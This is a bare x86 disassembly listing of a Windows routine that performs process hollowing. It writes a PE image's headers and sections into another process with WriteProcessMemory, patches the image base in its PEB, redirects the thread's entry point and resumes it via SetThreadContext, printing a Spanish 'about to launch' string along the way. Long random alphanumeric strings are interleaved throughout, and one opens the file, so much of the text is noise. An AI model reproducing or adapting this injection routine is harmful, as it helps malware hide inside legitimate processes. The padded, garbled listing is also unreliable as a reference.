J8wRNS9B4b197gBDg5W8LVFlxzLAmevop3kVB20x8QzOm4QPoXpmC0lYClungIpZPMUd6Qcneza5v19CS6mnW28iRoa9SDwgZknHVhK28FUbkqa6ml4AEvtfuMAZrDlh1H02MfvhkQprh78AndWHI6MD1hmiQVKFuMjMAhug0WpXgc8xO9LnQOJzZWsEzVVfRk93Kf5gRZdFc3xKEf0qzdVtbyYjrwE2bHl4GmPBPL1JEhw5zRau5EPNzQ2lrVZuvkDFRCdrzyLYlmZ3b2UJwj7G1IFmZg4YZ1swa02sZXGlWlflCsFmzw2vzDF4ZtMDUWLJcoukIw6ezbOd2KUGKSzC966Hv7CFkdB9KGin7vNczX6xZCcoJg3cwjKgsXZHWl0LpWTofhO0XlXq2zH3gfEsTOzWuBjnmkWgIIAIln2zib60Boa4GQARQH1Kw63O8BONyQRu99S2mfkSSJvfBoRGTfAaQZmptoBJubNZSYcxT5XWgxFDSIX1WSoMs5omFR2ivVhAxS8YdJPAnbQ1cxvwqZXMXbGXK02ccOAupegaK9XmcXzrpwjhwF2F8FNwllnnRNx6jZ6FWUMtNpM694mUvlgyxRUaT1MAWNunxG0J52mfnu9lE8xGWhB7qKJBf6W4hlG94zIDeNYC9bkdRIFUDgOPlw6X6yD9gr7cXaqEWyHedDoWOeyTFO6xrJWnnyShkGbG3V9amhamFP5gCtjpX0CAo7gRerqxPA3GCS23fyGyOU2LOQV3pDtueLs6Os550MGeWyOTApk
cmp dword [ebp - 0x870], 0
je 0x403373
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x8a8], ecx
push 0
mov edx, dword [ebp - 0x864]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x870]
push edx
mov eax, dword [0x447644]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x874], 0
jmp 0x403249
mov ecx, dword [ebp - 0x874]
add ecx, 1
mov dword [ebp - 0x874], ecx
mov edx, dword [ebp - 0x864]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x874], eax
jge 0x4032d6
mov dword [ebp - 0x8b0], str.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
mov ecx, dword [ebp - 0x874]
imul ecx, ecx, 0x28
add ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x87c]
mov eax, dword [edx + 0x3c]
lea ecx, [ecx + eax + 0xf8]
mov dword [ebp - 0x878], ecx
mov dword [ebp - 0x8b8], str.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
push 0
mov edx, dword [ebp - 0x878]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 0x878]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x878]
mov ecx, dword [ebp - 0x870]
add ecx, dword [eax + 0xc]
push ecx
mov edx, dword [0x447644]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x8c0], str.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
jmp 0x40323a
push 0
push 4
mov eax, dword [ebp - 0x864]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x86c]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [0x447644]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x864]
mov edx, dword [ebp - 0x870]
add edx, dword [ecx + 0x28]
mov eax, dword [ebp - 0x86c]
mov dword [eax + 0xb0], edx
mov ecx, dword [ebp - 0x86c]
push ecx
mov edx, dword [0x447648]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x8c8], str.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
push str._tva_a_lanzar
call fcn.00405bb0
add esp, 4
mov dword [ebp - 0x8d0], str.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
mov byte [ebp - 0x865], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00402860
mov al, byte [ebp - 0x865]
jmp 0x403391
mov dword [ebp - 0x8d8], str.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
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00402860
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408674
mov esp, ebp
pop ebp
ret